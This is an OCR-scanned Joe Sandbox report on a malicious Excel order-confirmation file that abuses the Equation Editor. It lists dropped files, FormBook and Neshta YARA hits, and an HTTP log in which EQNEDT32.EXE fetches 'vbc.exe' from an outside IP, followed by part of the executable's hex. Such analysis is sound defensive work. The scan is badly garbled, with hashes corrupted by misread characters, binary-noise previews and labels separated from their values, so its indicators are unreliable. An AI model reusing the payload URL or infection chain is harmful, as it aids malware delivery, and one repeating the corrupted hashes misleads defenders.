FCA7D4673A173B4264FC40D26A550B97BD3CC8AC18058F2AABB717DF845B84ED32891F97952D283BE678B09B2E0D31878856C65D40361CC5A5C3E3F6332C96€

false

e (GL{?..2W.93.."........~....06|G$/3........ Q@......%:&
W Fon{300]xY 20 (LLLEP.-..c0.+.'p.0..P..<....C....
.P.D.P..\.@.gh...{*.=v..(*D...’T..)cz..s...0,..c[.b. k.N.{..9.3..c.8=........ 2p[q....I\.....
HT....L.#...H..V.e..|..D.#..-...h.&r....K.G."/Q.)..kJ.%...REi...S.S.T.....@.N ..... NP?.$h:4.Z8-..v.v...N.k...a
-.91.....X..V.Z..bcb...q#qo...R.V...3.D...‘.h.B.c..%&..C....1v2..7.SL.S...Ld.003.....&.A......$.,...rc%..XgY.Xﬁ....RlR{..F.....

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\CABA28C0.jpeg

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, progressive, precision 8, 509x209, frames 3
dropped

16706

7.7803211045289515

false

384:x3+Ep+jYOGYbjcRIAch8B2dBWWWWWWW6EXPApAJz+2In+BSNdb7q:ImVsYch8BQWWWWWWWmnrin+MNA
9984958CFC3A96E32DD6042DD14440DB

ABC82F6AB5C1D7C8BAOCDF10CFDC1F1916F58630
65EC42573985A8CDA90B901C23F8ECE366493301ADDB12EDOB86F4CD3A48756D

32DA7ED1AEC317A162BBF75ADA4D500DE3058A7C0953D98CCECOD26E98313C002AD90E3B551F755A37B58CC34EF2B675E930A634E00524AF2905F119A39F80:
2

false

JALUMLYLKAV. kAU...M.0....[-+.M.-0... 1KX.YX...1X...".X?.%G..$..B..Y{. k...g.)) TM".+]j..?sg..U..s
.. Xz.Kg....b.Q....3.~g..5}.u.l9.{.b.[.u...]b...0..$...} ... M*KdlIt..h..9 .1%. @+K%fr’).o.....sr.
Jo.Si7+...b.h{>..>..7|1..{.i.2.0].J ke .x6..5q A& Sjuiul L),
Voot fi?l=he T )

*-jWb.|..s1e/..Qy..63E..X+..X+..q.....,0F.IE....Q>.Q.$.Q).JE..D.K....
=0.p......=.00.....%.3.J..LL..ui;....x..ag.... w.z.9N S {. K |4(..
WA, HYW...N.. N../Q..G7..>.(.6}-\.._.S"... K..F._....7Es..94..Gg.U...".wb....a..[..f.*.

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\E1B73268.png

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

PNG image data, 484 x 544, 8-bit/color RGB, non-interlaced

dropped

65050

7.959940260382877

false
1536:LT3dRSPKeePekFnfpQ6uF2sxiPfqu2RjWn0ZgNnbMXrpLIx6q1F:fdoPI79fpQXtjupn7Nnb8pLlII
22335141D285E599CDAEF99EABA59D5B
C8E5F6F30E91F2C55D96867CAA2D1E21E7A4804D
6C0757667F548698B721E4D723768447046B509C1777D6F1474BDE45649D92B0

CF623DC74B631AAE3DBECF1F8D7EGE129F0C44F882487F367F4CB955A3DSA9AAES6EFD77FB0843BCEB4AFS5FOD4A3C844A42193B7CAF1D374CE147399E1C3A6(
2B

false

PNG........ IHDR....... ...... ]....b.zTXtRaw profile type exif..x..Y..8.].9.........L3...UFvU&.d..|q.;..f. .......... JW.ALRO=..C...=...N.). . R Lo ?...Cl>... e
<..W.{o......q..5~..0.;U.ce>.W.Oxn...-.0.....W..l....... V..S&.|X....: ?..u.??P....y ..... }q....}.’?...........}.J..o...... ......G.._+.U...?..W..+Nn|q ..... z...R .._...3L.l..9.........8.$.._.

\...Ln...%....fh|..d.[X.7........ _WStCLLL A< T7LSH.L> NN L #.d9.S.INLS P KX(L8. . <Y|R.@.9.p}..... E.L L2 U6 RFHLLLs L {~.SR..Z.Q0)... Zk

e VZme X2 #.9.Guu fe LY LR L6 B LGl 7 czgw.)Eo {D)r..BurV....C._...us..]9..[.N.. e sk.=..9..z..a.....e.7.
<Vm;....s.w....o./kq.y.w...q";.. A{.}...w~<.S.WJ.).Zz.c.# .xN...1.9..1..k.0. .-.M|....,.i.[.\;;.....8..x.
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\F76D3143.emf

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: Windows Enhanced Metafile (EMF) image data version 0x10000
Category: dropped
Size (bytes): 648132
Entropy (8bit): 2.812378696555446
Encrypted: false
SSDEEP: 3072:234ULO0tS6WB0JOgFB5AEA7rgXuzgn8nG/qc+5:44UcLe0JOcXuunhqgcS
MDS5: 5766BE17816555642884E7C47E05A022
SHA1L: A04119A2200394234A44DA920D3EAF69B6448897
SHA-256: 76DAA4C2E93071BF16CCA081139786ED3COB4143AF3D146BAAA9BFCEEFCE1944
SHA-512: 1BA7659C0724E3A31C612FF2B6BD9987278226AC555B2EEB1229085538488AE77497FF94E7D199CE3B8C430F84D0F6905807D6D63A97BF6C8B74F526555E5EA6
Malicious: false
Preview:
........ (cervrrrrreieiernseieierenneieeen MKGNCLF o W EMFH.@.cu XX FL AP EMFH@. . @ 3@ 0@ 7
%... % RoPeiiiiiiii @."C.a.li.b.r.i

C:\Users\luser\AppData\Local\Temp\9rvscd0j0b4nlow

Process: C:\Users\Public\vbc.exe
File Type: data
Category: dropped
Size (bytes): 250367
Entropy (8bit):  7.980938283317405
Encrypted: false
SSDEEP: 6144:VNFhwVfYAWfRHQKsX8utbhrAgajbLGyKDE9fh/U2XGNFhwz:VkwJyBbhgyDWfh/U2XGC
MD5: F817F157A6262B51A43656375EF8963C
SHA1L: F95D2338451B2259E6226A89360132108AB44E96
SHA-256: 8B49F9768520B9B451F1B5A0A4817A75C4411852DC24DEDA95BF6A8ABI65DDED
SHA-512: E394760069E3908B8984A849E3348634499C6AB2F0B91A574108B553FFC5D45108A536D9501C757DF5AE7FC167771691F2A53A7B983337BF60A6967562F53BEC
Malicious: false
Preview:
WL=2.0U08 0 |94 2.0 AW gL U0 ONZL 4B, \.. =Y Z.<(..2.%......,.... A....|-.<.6.Py.3.%7....IS[1"[H..[[a...>..)...."...n8...H......0....6...0.4W.(~....i....93

0.5 QR ML(@. 2. %......... BL.... 1.1 U5 W....L|9.1..Z,jO..-A.D... w..vqLXIL.... X..S.V...\._..F.;B."D(R..*..K..S.OMh.}...(#.|-.<.6.P.(3.M7....IS..1[H.[l]a...>..)...S

.N8..H...0..0...6......~....i...93..0..".1.......Qh.c.M.I..(..@..Z. 2t.U.5.....Y.0.. KA..Z ... A......... LI X...UXV........F;B.R)(R........S..OM..8..P=#....
<W.P=3.7...ISLI"[H..[9.5">..)Z.."h..N8...H......0....6... "A~.6...i.#.93Y.0.".1.......Qh.c..C...MV@....<].....~.BL.= .." 2y..1%Q3ZT...Y.In.|9.l.m.j.J. . AW..S.w..qLIIA...."..s
V.. \..F;B.ID(S........5.OM. }.... #.]-.<.6.Py.3.%7...ISL17[H..[a...>..)...."...n8...H....q...0....6...0.4W.(~....i....93..0..".1.......Qh..C.

Process: C:\Users\Public\vbc.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 49152

Entropy (8bit):  6.227672422736112

Encrypted: false

SSDEEP: 768:2IEPJIW4uUH/2fUnxzvRyMLVNdMUEKRNJYQUEA3B2IVNDQMZCiv+08w2jIR01iM:4PJiW41nj3TYOCiv+l0eZHVUIXXNSDqF

MD5: 8F1756B3FECE1D28C57CABFFOFDA9ABL

SHAL: 1D81CB4C36DA87BEE907656F9E77B1E5B159B3F0

SHA-256: 65EFE70F4FEAEO95EA7A9497007F2307F49572A8878AC5D304B66DD3ACODDFBO

SHA-512: 79AEAE44E83647486682A7E3BF387522FEEDDC9252766109C3A0837758F3A88DDC77BB84DEB4F76742ABAD61F8A5517BA7B71E9E2DADAD274E621C44D050A04
0

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: Virustotal, Detection: 15%, Browse
e Antivirus: ReversingLabs, Detection: 2%

Preview:

Jo.a.. L vSa vS.a..'sS6 ... vS.a... 'Rich..."..

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: data

Category: dropped

Size (bytes): 330

Entropy (8bit):  1.4377382811115937
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https://www.virustotal.com/gui/file/65efe70f4feae095ea7a9497007f2307f49572a8878ac5d304b66dd3ac0ddfb0/detection/f-65efe70f4feae095ea7a9497007f2307f49572a8878ac5d304b66dd3ac0ddfb0-1632768716

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Preview:

false

3:vZ/FFDJIw2fj/FFDIw2fV:vBFFGaFFGS

96114D75E30EBD26B572C1FC83D1D02E
A44EEBDASEB09862AC46346227F06F8CFAF19407
0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAFOF021AD7C8D30600AA8168348BDOFAS
0

true

.user LAl user LAlbuso oo

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
dropped

288145

7.911369635258899

false

6144:F8LxBsj6b2HWEIItCIhrAgajbLGv+gRACWWBRNZP:/OblwElpshg0aCzBV
A9DCC61F31601E771050463C4D41CDBO
C26979F1842C9F2460FC9EOF9285266B0D175B49
E018D5F9CE45E81A96459FA0C717DF76B2D765F24A9A472AD2CB8D13B523F562
7C592E8F6042BEAG5CBD5261B0150C761B4B724E61E983DC32C2E3BE62B48D1ACAC53986DB097FE4AC79A597D928F8E17FFCB639B6FC45623229719136548E6A
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Virustotal, Detection: 42%, Browse
e Antivirus: ReversingLabs, Detection: 20%

........ 1..L.IThis program cannot be run in DOS mode....$........0(..QF..QF..QF **...QF..QG.qQF .*...QF.rv..QF..W@..QF.Rich.QF

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

CDFV2 Encrypted

7.991141972870768

e Generic OLE2 / Multistream Compound File
(8008/1) 100.00%

ORDERCONFIRMATION_00001679918.xIsx
520680

9c34f5c5ela78c24947c3fe5fce601ea
727aa4c09c4c4f40d47ba87fa91921876b79f0f3

ff1168daa5edebf6c75a6f24573e0b1e8153156b47e9c91
712f8aa7968d745db

8838c18cac9416a7bcac561276b7cdadeee605ea347af8
cddch87b00fec953238a89505305e792053e36858072b4
1b65f5325c70c4afadb02a64f743ddaeab2e

12288:fvzKH+eauZEGfWpHNP50my01TOW+SZTeZeUl
wQeFzVZtu3HOFDZcu4Gs:fvGg8fwHNPOmMyO/WNTeZ
eUlwQe+3Hc4

ede2aaB8aadb4bcb4
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https://www.virustotal.com/gui/file/e018d5f9ce45e81a96459fa0c717df76b2d765f24a9a472ad2cb8d13b523f562/detection/f-e018d5f9ce45e81a96459fa0c717df76b2d765f24a9a472ad2cb8d13b523f562-1632769318

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

e 23.94.159.204

HTTP Packets

Session ID Source IP

0 192.168.2.22
kBytes

Timestamp transferred

Sep 27, 2021 0

21:08:39.563868999 CEST

Sep 27, 2021 1
21:08:39.688463926 CEST

Code Manipulations

Copyright Joe Security LLC 2021

Source Port

49167

Direction

ouT

Destination IP Destination Port Process

23.94.159.204 80 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Data

GET /poc/vbc.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 23.94.159.204

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Mon, 27 Sep 2021 19:08:39 GMT

Server: Apache/2.4.48 (Win64) OpenSSL/1.1.11 PHP/8.0.10

Last-Modified: Mon, 27 Sep 2021 07:27:42 GMT

ETag: "46591-5ccf50857974b"

Accept-Ranges: bytes

Content-Length: 288145

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ¢8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6€ 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 ad 30 28 81 €9 51 46 d2 e9 51 46 d2 e9 51 46 d2 2a 5e 19 d2 eb 51 46 d2 e9 51
47 d2 71 51 46 d2 2a 5e 1b d2 e6 51 46 d2 bd 72 76 d2 e3 51 46 d2 2e 57 40 d2 e8 51 46 d2 52 69 63 68 €9 51 46 d2 00
00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 6d 3a ff 56 00 00 00 00 00 00 00 00 e0 00 0f 01 Ob 01 06 00 00 60 00 00 00
84 02 00 00 04 00 00 2a 31 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00
04 00 00 00 00 00 00 00 00 80 03 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00
00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 75 00 00 a0 00 00 00 00 70 03 00 €0 09 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 7c 02 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 66 5e 00 00 00 10 00 00 00 60 00
00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a2 12 00 00 00 70 00 00 00 14
00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 5d 02 00 00 90 00 00 00
06 00 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 6e 64 61 74 61 00 00 00 80 00 00 00 f0 02 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 cO 2e 72 73 72 63 00 00 00 €0 09 00 00 00 70 03
00 00 Oa 00 00 00 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$0(QFQFQF** QFQGqQF** QFrvQF.W@QFRichQFPELmM:V
“*1p@$upp|.textfr” ".rdatapd @ @.data]x@.ndata.rsrcp~@@
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Statistics

Behavior

g

System Behavior

Click to jump to process

Analysis Process: EXCEL.EXE PID: 2428 Parent PID: 596

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Written

Registry Activities

Key Created

Key Value Created

21:08:18

27/09/2021

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
false

‘C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
0x13f170000

28253536 bytes
D53B85E21886D2AF9815C377537BCAC3

true

true

C, C++ or other language

moderate

Show Windows behavior

Show Windows behavior

Analysis Process: EQNEDT32.EXE PID: 2760 Parent PID: 596

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Registry Activities

Copyright Joe Security LLC 2021

21:08:38

27/09/2021

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
true

‘C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
0x400000

543304 bytes

A87236E214F6D42A65FSDEDAC816AECS

true

true

C, C++ or other language

high

Show Windows behavior
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Key Created

Show Windows behavior

Analysis Process: vhc.exe PID: 1612 Parent PID: 2760

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

21:08:43

27/09/2021

C:\Users\Public\vbc.exe

true

‘C:\Users\Public\vbc.exe’

0x400000

288145 bytes
A9DCC61F31601E771050463C4D41CDBO
true

true

C, C++ or other language

e Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source:
00000004.00000002.469258298.0000000002770000.00000004.00000001.sdmp, Author:

Florian Roth

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:

00000004.00000002.469285570.000000000277A000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000004.00000002.469285570.000000000277A000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000004.00000002.469285570.000000000277A000.00000004.00000001.sdmp, Author:

JPCERT/CC Incident Response Group

Reputation: low
File Activities Show Windows behavior
File Created
File Deleted
File Written
File Read
Analysis Process: vbc.exe PID: 2248 Parent PID: 1612
General
Start time: 21:08:44
Start date: 27/09/2021
Path: C:\Users\Public\vbc.exe
Wow64 process (32bit): true
Commandline: ‘C:\Users\Public\vbc.exe'
Imagebase: 0x400000
File size: 288145 bytes
MDS5 hash: A9DCC61F31601E771050463C4D41CDBO

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true
true

C, C++ or other language
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https://www.virustotal.com/gui/file/e018d5f9ce45e81a96459fa0c717df76b2d765f24a9a472ad2cb8d13b523f562/detection/f-e018d5f9ce45e81a96459fa0c717df76b2d765f24a9a472ad2cb8d13b523f562-1632769318

Yara matches: e Rule: MAL_Neshta_Generic, Description: Detects Neshta malware, Source:
00000005.00000000.466845988.00000000001C0000.00000040.00000001.sdmp, Author:
Florian Roth

Reputation: low

Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 33.0.0 White Diamond
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